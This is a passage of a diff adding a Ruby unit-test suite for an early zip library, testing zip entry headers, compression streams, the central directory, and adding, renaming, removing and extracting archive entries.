ZipEntry.readLocalEntry(file)) + } + end + + def test_readLocalEntryFromTruncatedZipFile + zipFragment="" + File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes + zipFragment.extend(IOizeString).reset + entry = ZipEntry.new + entry.readLocalEntry(zipFragment) + fail "ZipError expected" + rescue ZipError + end + + def test_writeEntry + entry = ZipEntry.new("file.zip", "entryName", "my little comment", + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) + writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) + entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") + compareLocalEntryHeaders(entry, entryReadLocal) + compareCDirEntryHeaders(entry, entryReadCentral) + end + + private + def compareLocalEntryHeaders(entry1, entry2) + assert_equals(entry1.compressedSize , entry2.compressedSize) + assert_equals(entry1.crc , entry2.crc) + assert_equals(entry1.extra , entry2.extra) + assert_equals(entry1.compressionMethod, entry2.compressionMethod) + assert_equals(entry1.name , entry2.name) + assert_equals(entry1.size , entry2.size) + assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) + end + + def compareCDirEntryHeaders(entry1, entry2) + compareLocalEntryHeaders(entry1, entry2) + assert_equals(entry1.comment, entry2.comment) + end + + def writeToFile(localFileName, centralFileName, entry) + File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } + File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } + end + + def readFromFile(localFileName, centralFileName) + localEntry = nil + cdirEntry = nil + File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } + File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } + return [localEntry, cdirEntry] + end +end + + +module DecompressorTests + # expects @refText and @decompressor + + def test_readEverything + assert_equals(@refText, @decompressor.read) + end + + def test_readInChunks + chunkSize = 5 + while (decompressedChunk = @decompressor.read(chunkSize)) + assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) + end + assert_equals(0, @refText.size) + end +end + +class InflaterTest < RUNIT::TestCase + include DecompressorTests + + def setup + @file = File.new("file1.txt.deflatedData", "rb") + @refText="" + File.open("file1.txt") { |f| @refText = f.read } + @decompressor = Inflater.new(@file) + end + + def teardown + @file.close + end +end + + +class PassThruDecompressorTest < RUNIT::TestCase + include DecompressorTests + TEST_FILE="file1.txt" + def setup + @file = File.new(TEST_FILE) + @refText="" + File.open(TEST_FILE) { |f| @refText = f.read } + @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) + end + + def teardown + @file.close + end +end + + +module AssertEntry + def assertNextEntry(filename, zis) + assertEntry(filename, zis, zis.getNextEntry.name) + end + + def assertEntry(filename, zis, entryName) + assert_equals(filename, entryName) + assertEntryContentsForStream(filename, zis, entryName) + end + + def assertEntryContentsForStream(filename, zis, entryName) + File.open(filename, "rb") { + |file| + expected = file.read + actual = zis.read + if (expected != actual) + if (expected.length > 400 || actual.length > 400) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end + end + } + end + + def AssertEntry.assertContents(filename, aString) + fileContents = "" + File.open(filename, "rb") { |f| fileContents = f.read } + if (fileContents != aString) + if (expected.length > 400 || actual.length > 400) + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + else + assert_equals(expected, actual) + end + end + end + + def assertStreamContents(zis, testZipFile) + assert(zis != nil) + testZipFile.entryNames.each { + |entryName| + assertNextEntry(entryName, zis) + } + assert_equals(nil, zis.getNextEntry) + end + + def assertTestZipContents(testZipFile) + ZipInputStream.open(testZipFile.zipName) { + |zis| + assertStreamContents(zis, testZipFile) + } + end + + def assertEntryContents(zipFile, entryName, filename = entryName.to_s) + zis = zipFile.getInputStream(entryName) + assertEntryContentsForStream(filename, zis, entryName) + ensure + zis.close if zis + end +end + + + +class ZipInputStreamTest < RUNIT::TestCase + include AssertEntry + + def test_new + zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) + assertStreamContents(zis, TestZipFile::TEST_ZIP2) + zis.close + end + + def test_openWithBlock + ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { + |zis| + assertStreamContents(zis, TestZipFile::TEST_ZIP2) + } + end + + def test_openWithoutBlock + zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) + assertStreamContents(zis, TestZipFile::TEST_ZIP2) + end + + def test_incompleteReads + ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { + |zis| + entry = zis.getNextEntry + assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) + assert zis.gets.length > 0 + entry = zis.getNextEntry + assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) + assert_equals(0, entry.size) + assert_equals(nil, zis.gets) + entry = zis.getNextEntry + assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) + assert zis.gets.length > 0 + entry = zis.getNextEntry + assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) + assert zis.gets.length > 0 + } + end + +end + +class TestFiles + RANDOM_ASCII_FILE1 = "randomAscii1.txt" + RANDOM_ASCII_FILE2 = "randomAscii2.txt" + RANDOM_ASCII_FILE3 = "randomAscii3.txt" + RANDOM_BINARY_FILE1 = "randomBinary1.bin" + RANDOM_BINARY_FILE2 = "randomBinary2.bin" + + EMPTY_TEST_DIR = "emptytestdir" + + ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] + BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] + TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] + TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! + + def TestFiles.createTestFiles(recreate) + if (recreate || + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + + ASCII_TEST_FILES.each_with_index { + |filename, index| + createRandomAscii(filename, 1E4 * (index+1)) + } + + BINARY_TEST_FILES.each_with_index { + |filename, index| + createRandomBinary(filename, 1E4 * (index+1)) + } + + ensureDir(EMPTY_TEST_DIR) + end + end + + private + def TestFiles.createRandomAscii(filename, size) + File.open(filename, "wb") { + |file| + while (file.tell < size) + file << rand + end + } + end + + def TestFiles.createRandomBinary(filename, size) + File.open(filename, "wb") { + |file| + while (file.tell < size) + file << rand.to_a.pack("V") + end + } + end + + def TestFiles.ensureDir(name) + if File.exists?(name) + return if File.stat(name).directory? + File.delete(name) + end + Dir.mkdir(name) + end + +end + +# For representation and creation of +# test data +class TestZipFile + attr_accessor :zipName, :entryNames, :comment + + def initialize(zipName, entryNames, comment = "") + @zipName=zipName + @entryNames=entryNames + @comment = comment + end + + def TestZipFile.createTestZips(recreate) + files = Dir.entries(".") + if (recreate || + ! (files.index(TEST_ZIP1.zipName) && + files.index(TEST_ZIP2.zipName) && + files.index(TEST_ZIP3.zipName) && + files.index(TEST_ZIP4.zipName) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) + raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless + system("zip #{TEST_ZIP1.zipName} ziptest.rb") + raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless + system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") + + File.open("empty.txt", "w") {} + + File.open("short.txt", "w") { |file| file << "ABCDEF" } + ziptestTxt="" + File.open("ziptest.rb") { |file| ziptestTxt=file.read } + File.open("longAscii.txt", "w") { + |file| + while (file.tell < 1E5) + file << ziptestTxt + end + } + + testBinaryPattern="" + File.open("empty.zip") { |file| testBinaryPattern=file.read } + testBinaryPattern *= 4 + + File.open("longBinary.bin", "wb") { + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end + } + raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless + system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") + + # without bash system interprets everything after echo as parameters to + # echo including | zip -z ... + raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") + + raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless + system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") + + raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless + system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") + end + rescue + raise $!.to_s + + "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + + "to create test data. If you don't have it you can download\n" + + "the necessary test files at http://sf.net/projects/rubyzip." + end + + TEST_ZIP1 = TestZipFile.new("empty.zip", []) + TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, + "my zip comment") + TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) + TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", + TestFiles::EMPTY_TEST_DIR]) +end + + +class AbstractOutputStreamTest < RUNIT::TestCase + class TestOutputStream + include AbstractOutputStream + + attr_accessor :buffer + + def initialize + @buffer = "" + end + + def << (data) + @buffer << data + self + end + end + + def setup + @outputStream = TestOutputStream.new + + @origCommaSep = $, + @origOutputSep = $\ + end + + def teardown + $, = @origCommaSep + $\ = @origOutputSep + end + + def test_write + count = @outputStream.write("a little string") + assert_equals("a little string", @outputStream.buffer) + assert_equals("a little string".length, count) + + count = @outputStream.write(". a little more") + assert_equals("a little string. a little more", @outputStream.buffer) + assert_equals(". a little more".length, count) + end + + def test_print + $\ = nil # record separator set to nil + @outputStream.print("hello") + assert_equals("hello", @outputStream.buffer) + + @outputStream.print(" world.") + assert_equals("hello world.", @outputStream.buffer) + + @outputStream.print(" You ok ", "out ", "there?") + assert_equals("hello world. You ok out there?", @outputStream.buffer) + + $\ = "\n" + @outputStream.print + assert_equals("hello world. You ok out there?\n", @outputStream.buffer) + + @outputStream.print("I sure hope so!") + assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) + + $, = "X" + @outputStream.buffer = "" + @outputStream.print("monkey", "duck", "zebra") + assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) + + $\ = nil + @outputStream.buffer = "" + @outputStream.print(20) + assert_equals("20", @outputStream.buffer) + end + + def test_printf + @outputStream.printf("%d %04x", 123, 123) + assert_equals("123 007b", @outputStream.buffer) + end + + def test_putc + @outputStream.putc("A") + assert_equals("A", @outputStream.buffer) + @outputStream.putc(65) + assert_equals("AA", @outputStream.buffer) + end + + def test_puts + @outputStream.puts + assert_equals("\n", @outputStream.buffer) + + @outputStream.puts("hello", "world") + assert_equals("\nhello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts("hello\n", "world\n") + assert_equals("hello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(["hello\n", "world\n"]) + assert_equals("hello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(["hello\n", "world\n"], "bingo") + assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(16, 20, 50, "hello") + assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) + end +end + + +module CrcTest + def runCrcTest(compressorClass) + str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." + fakeOut = AbstractOutputStreamTest::TestOutputStream.new + + deflater = compressorClass.new(fakeOut) + deflater << str + assert_equals(0x919920fc, deflater.crc) + end +end + + + +class PassThruCompressorTest < RUNIT::TestCase + include CrcTest + + def test_size + File.open("dummy.txt", "wb") { + |file| + compressor = PassThruCompressor.new(file) + + assert_equals(0, compressor.size) + + t1 = "hello world" + t2 = "" + t3 = "bingo" + + compressor << t1 + assert_equals(compressor.size, t1.size) + + compressor << t2 + assert_equals(compressor.size, t1.size + t2.size) + + compressor << t3 + assert_equals(compressor.size, t1.size + t2.size + t3.size) + } + end + + def test_crc + runCrcTest(PassThruCompressor) + end +end + +class DeflaterTest < RUNIT::TestCase + include CrcTest + + def test_outputOperator + txt = loadFile("ziptest.rb") + deflate(txt, "deflatertest.bin") + inflatedTxt = inflate("deflatertest.bin") + assert_equals(txt, inflatedTxt) + end + + private + def loadFile(fileName) + txt = nil + File.open(fileName, "rb") { |f| txt = f.read } + end + + def deflate(data, fileName) + File.open(fileName, "wb") { + |file| + deflater = Deflater.new(file) + deflater << data + deflater.finish + assert_equals(deflater.size, data.size) + file << "trailing data for zlib with -MAX_WBITS" + } + end + + def inflate(fileName) + txt = nil + File.open(fileName, "rb") { + |file| + inflater = Inflater.new(file) + txt = inflater.read + } + end + + def test_crc + runCrcTest(Deflater) + end +end + +class ZipOutputStreamTest < RUNIT::TestCase + include AssertEntry + + TEST_ZIP = TestZipFile::TEST_ZIP2.clone + TEST_ZIP.zipName = "output.zip" + + def test_new + zos = ZipOutputStream.new(TEST_ZIP.zipName) + zos.comment = TEST_ZIP.comment + writeTestZip(zos) + zos.close + assertTestZipContents(TEST_ZIP) + end + + def test_open + ZipOutputStream.open(TEST_ZIP.zipName) { + |zos| + zos.comment = TEST_ZIP.comment + writeTestZip(zos) + } + assertTestZipContents(TEST_ZIP) + end + + def test_writingToClosedStream + assertIOErrorInClosedStream { |zos| zos << "hello world" } + assertIOErrorInClosedStream { |zos| zos.puts "hello world" } + assertIOErrorInClosedStream { |zos| zos.write "hello world" } + end + + def test_cannotOpenFile + name = TestFiles::EMPTY_TEST_DIR + begin + zos = ZipOutputStream.open(name) + rescue Exception + assert($!.kind_of?(Errno::EISDIR) || # Linux + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") + end + end + + def assertIOErrorInClosedStream + assert_exception(IOError) { + zos = ZipOutputStream.new("test_putOnClosedStream.zip") + zos.close + yield zos + } + end + + def writeTestZip(zos) + TEST_ZIP.entryNames.each { + |entryName| + zos.putNextEntry(entryName) + File.open(entryName, "rb") { |f| zos.write(f.read) } + } + end +end + + + +module Enumerable + def compareEnumerables(otherEnumerable) + otherAsArray = otherEnumerable.to_a + index=0 + each_with_index { + |element, index| + return false unless yield(element, otherAsArray[index]) + } + return index+1 == otherAsArray.size + end +end + + +class ZipCentralDirectoryEntryTest < RUNIT::TestCase + + def test_readFromStream + File.open("testDirectory.bin", "rb") { + |file| + entry = ZipEntry.readCDirEntry(file) + + assert_equals("longAscii.txt", entry.name) + assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) + assert_equals(106490, entry.size) + assert_equals(3784, entry.compressedSize) + assert_equals(0xfcd1799c, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.readCDirEntry(file) + assert_equals("empty.txt", entry.name) + assert_equals(ZipEntry::STORED, entry.compressionMethod) + assert_equals(0, entry.size) + assert_equals(0, entry.compressedSize) + assert_equals(0x0, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.readCDirEntry(file) + assert_equals("short.txt", entry.name) + assert_equals(ZipEntry::STORED, entry.compressionMethod) + assert_equals(6, entry.size) + assert_equals(6, entry.compressedSize) + assert_equals(0xbb76fe69, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.readCDirEntry(file) + assert_equals("longBinary.bin", entry.name) + assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) + assert_equals(1000024, entry.size) + assert_equals(70847, entry.compressedSize) + assert_equals(0x10da7d59, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.readCDirEntry(file) + assert_equals(nil, entry) +# Fields that are not check by this test: +# version made by 2 bytes +# version needed to extract 2 bytes +# general purpose bit flag 2 bytes +# last mod file time 2 bytes +# last mod file date 2 bytes +# compressed size 4 bytes +# uncompressed size 4 bytes +# disk number start 2 bytes +# internal file attributes 2 bytes +# external file attributes 4 bytes +# relative offset of local header 4 bytes + +# file name (variable size) +# extra field (variable size) +# file comment (variable size) + + } + end + + def test_ReadEntryFromTruncatedZipFile + fragment="" + File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes + fragment.extend(IOizeString) + entry = ZipEntry.new + entry.readCDirEntry(fragment) + fail "ZipError expected" + rescue ZipError + end + +end + +class ZipCentralDirectoryTest < RUNIT::TestCase + + def test_readFromStream + File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { + |zipFile| + cdir = ZipCentralDirectory.readFromStream(zipFile) + + assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) + assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) + assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) + } + end + + def test_readFromInvalidStream + File.open("ziptest.rb", "rb") { + |zipFile| + cdir = ZipCentralDirectory.new + cdir.readFromStream(zipFile) + } + fail "ZipError expected!" + rescue ZipError + end + + def test_ReadFromTruncatedZipFile + fragment="" + File.open("testDirectory.bin") { |f| fragment = f.read } + fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete + fragment.extend(IOizeString) + entry = ZipCentralDirectory.new + entry.readFromStream(fragment) + fail "ZipError expected" + rescue ZipError + end + + def test_writeToStream + entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] + cdir = ZipCentralDirectory.new(entries, "my zip comment") + File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } + cdirReadback = ZipCentralDirectory.new + File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } + + assert_equals(cdir.entries, cdirReadback.entries) + end + + def test_equality + cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") + cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") + cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") + cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") + assert_equals(cdir1, cdir1) + assert_equals(cdir1, cdir2) + + assert(cdir1 != cdir3) + assert(cdir2 != cdir3) + assert(cdir2 != cdir3) + assert(cdir3 != cdir4) + + assert(cdir3 != "hello") + end +end + + +class BasicZipFileTest < RUNIT::TestCase + include AssertEntry + + def setup + @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) + @testEntryNameIndex=0 + end + + def nextTestEntryName + retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] + @testEntryNameIndex+=1 + return retVal + end + + def test_entries + assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) + end + + def test_each + @zipFile.each { + |entry| + assert_equals(nextTestEntryName, entry.name) + } + assert_equals(4, @testEntryNameIndex) + end + + def test_foreach + ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { + |entry| + assert_equals(nextTestEntryName, entry.name) + } + assert_equals(4, @testEntryNameIndex) + end + + def test_getInputStream + @zipFile.each { + |entry| + assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), + entry.name) + } + assert_equals(4, @testEntryNameIndex) + end + + def test_getInputStreamBlock + fileAndEntryName = @zipFile.entries.first.name + @zipFile.getInputStream(fileAndEntryName) { + |zis| + assertEntryContentsForStream(fileAndEntryName, + zis, + fileAndEntryName) + } + end +end + +class CommonZipFileFixture < RUNIT::TestCase + include AssertEntry + + EMPTY_FILENAME = "emptyZipFile.zip" + + TEST_ZIP = TestZipFile::TEST_ZIP2.clone + TEST_ZIP.zipName = "4entry_copy.zip" + + def setup + File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) + File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) + end +end + +class ZipFileTest < CommonZipFileFixture + + def test_createFromScratch + comment = "a short comment" + + zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) + zf.comment = comment + zf.close + + zfRead = ZipFile.new(EMPTY_FILENAME) + assert_equals(comment, zfRead.comment) + assert_equals(0, zfRead.entries.length) + end + + def test_add + srcFile = "ziptest.rb" + entryName = "newEntryName.rb" + assert(File.exists? srcFile) + zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) + zf.add(entryName, srcFile) + zf.close + + zfRead = ZipFile.new(EMPTY_FILENAME) + assert_equals("", zfRead.comment) + assert_equals(1, zfRead.entries.length) + assert_equals(entryName, zfRead.entries.first.name) + AssertEntry.assertContents(srcFile, + zfRead.getInputStream(entryName) { |zis| zis.read }) + end + + def test_addExistingEntryName + assert_exception(ZipEntryExistsError) { + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.add(zf.entries.first.name, "ziptest.rb") + } + } + end + + def test_addExistingEntryNameReplace + gotCalled = false + replacedEntry = nil + ZipFile.open(TEST_ZIP.zipName) { + |zf| + replacedEntry = zf.entries.first.name + zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } + } + assert(gotCalled) + ZipFile.open(TEST_ZIP.zipName) { + |zf| + assertContains(zf, replacedEntry, "ziptest.rb") + } + end + + def test_addDirectory + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) + } + ZipFile.open(TEST_ZIP.zipName) { + |zf| + dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } + assert(dirEntry.isDirectory) + } + end + + def test_remove + entryToRemove, *remainingEntries = TEST_ZIP.entryNames + + File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) + + zf = ZipFile.new(TEST_ZIP.zipName) + assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) + zf.remove(entryToRemove) + assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) + assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) + zf.close + + zfRead = ZipFile.new(TEST_ZIP.zipName) + assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) + assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) + zfRead.close + end + + + def test_rename + entryToRename, *remainingEntries = TEST_ZIP.entryNames + + zf = ZipFile.new(TEST_ZIP.zipName) + assert(zf.entries.map { |e| e.name }.include? entryToRename) + + newName = "changed name" + assert(! zf.entries.map { |e| e.name }.include?(newName)) + + zf.rename(entryToRename, newName) + assert(zf.entries.map { |e| e.name }.include? newName) + + zf.close + + zfRead = ZipFile.new(TEST_ZIP.zipName) + assert(zfRead.entries.map { |e| e.name }.include? newName) + zfRead.close + end + + def test_renameToExistingEntry + oldEntries = nil + ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } + + assert_exception(ZipEntryExistsError) { + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) + } + } + + ZipFile.open(TEST_ZIP.zipName) { + |zf| + assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) + } + end + + def test_renameToExistingEntryOverwrite + oldEntries = nil + ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } + + gotCalled = false + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } + } + + assert(gotCalled) + oldEntries.delete_at(0) + ZipFile.open(TEST_ZIP.zipName) { + |zf| + assert_equals(oldEntries.map{ |e| e.name }, + zf.entries.map{ |e| e.name }) + } + end + + def test_renameNonEntry + nonEntry = "bogusEntry" + targetEntry = "targetEntryName" + zf = ZipFile.new(TEST_ZIP.zipName) + assert(! zf.entries.include?(nonEntry)) + assert_exception(ZipNoSuchEntryError) { + zf.rename(nonEntry, targetEntry) + } + zf.commit + assert(! zf.entries.include?(targetEntry)) + ensure + zf.close + end + + def test_renameEntryToExistingEntry + entry1, entry2, *remaining = TEST_ZIP.entryNames + zf = ZipFile.new(TEST_ZIP.zipName) + assert_exception(ZipEntryExistsError) { + zf.rename(entry1, entry2) + } + ensure + zf.close + end + + def test_replace + unchangedEntries = TEST_ZIP.entryNames.dup + entryToReplace = unchangedEntries.delete_at(2) + newEntrySrcFilename = "ziptest.rb" + + zf = ZipFile.new(TEST_ZIP.zipName) + zf.replace(entryToReplace, newEntrySrcFilename) + + zf.close + + zfRead = ZipFile.new(TEST_ZIP.zipName) + AssertEntry::assertContents(newEntrySrcFilename, + zfRead.getInputStream(entryToReplace) { |is| is.read }) + zfRead.close + end + + def test_replaceNonEntry + entryToReplace = "nonExistingEntryname" + ZipFile.open(TEST_ZIP.zipName) { + |zf| + assert_exception(ZipNoSuchEntryError) { + zf.replace(entryToReplace, "ziptest.rb") + } + } + end + + def test_commit + newName = "renamedFirst" + zf = ZipFile.new(TEST_ZIP.zipName) + oldName = zf.entries.first + zf.rename(oldName, newName) + zf.commit + + zfRead = ZipFile.new(TEST_ZIP.zipName) + assert(zfRead.entries.detect { |e| e.name == newName } != nil) + assert(zfRead.entries.detect { |e| e.name == oldName } == nil) + zfRead.close + + zf.close + end + + # This test tests that after commit, you + # can delete the file you used to add the entry to the zip file + # with + def test_commitUseZipEntry + File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") + zf = ZipFile.open(TEST_ZIP.zipName) + zf.add("okToDelete.txt", "okToDelete.txt") + assertContains(zf, "okToDelete.txt") + zf.commit + File.move("okToDelete.txt", "okToDeleteMoved.txt") + assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") + end + +# def test_close +# zf = ZipFile.new(TEST_ZIP.zipName) +# zf.close +# assert_exception(IOError) { +# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") +# } +# end + + def test_compound1 + renamedName = "renamedName" + originalEntries = [] + begin + zf = ZipFile.new(TEST_ZIP.zipName) + originalEntries = zf.entries.dup + + assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) + zf.add(TestFiles::RANDOM_ASCII_FILE1, + TestFiles::RANDOM_ASCII_FILE1) + assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) + + zf.rename(zf.entries[0], renamedName) + assertContains(zf, renamedName) + + TestFiles::BINARY_TEST_FILES.each { + |filename| + zf.add(filename, filename) + assertContains(zf, filename) + } + + assertContains(zf, originalEntries.last.to_s) + zf.remove(originalEntries.last.to_s) + assertNotContains(zf, originalEntries.last.to_s) + + ensure + zf.close + end + begin + zfRead = ZipFile.new(TEST_ZIP.zipName) + assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) + assertContains(zfRead, renamedName) + TestFiles::BINARY_TEST_FILES.each { + |filename| + assertContains(zfRead, filename) + } + assertNotContains(zfRead, originalEntries.last.to_s) + ensure + zfRead.close + end + end + + def test_compound2 + begin + zf = ZipFile.new(TEST_ZIP.zipName) + originalEntries = zf.entries.dup + + originalEntries.each { + |entry| + zf.remove(entry) + assertNotContains(zf, entry) + } + assert(zf.entries.empty?) + + TestFiles::ASCII_TEST_FILES.each { + |filename| + zf.add(filename, filename) + assertContains(zf, filename) + } + assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) + + zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") + assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) + assertContains(zf, "newName") + ensure + zf.close + end + begin + zfRead = ZipFile.new(TEST_ZIP.zipName) + asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup + asciiTestFiles.shift + asciiTestFiles.each { + |filename| + assertContains(zf, filename) + } + + assertContains(zf, "newName") + ensure + zfRead.close + end + end + + private + def assertContains(zf, entryName, filename = entryName) + assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") + assertEntryContents(zf, entryName, filename) if File.exists?(filename) + end + + def assertNotContains(zf, entryName) + assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") + end +end + +class ZipFileExtractTest < CommonZipFileFixture + EXTRACTED_FILENAME = "extEntry" + ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse + + def setup + super + File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) + end + + def test_extract + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) + + assert(File.exists? EXTRACTED_FILENAME) + AssertEntry::assertContents(EXTRACTED_FILENAME, + zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) + } + end + + def test_extractExists + writtenText = "written text" + File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } + + assert_exception(ZipDestinationFileExistsError) { + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) + } + } + 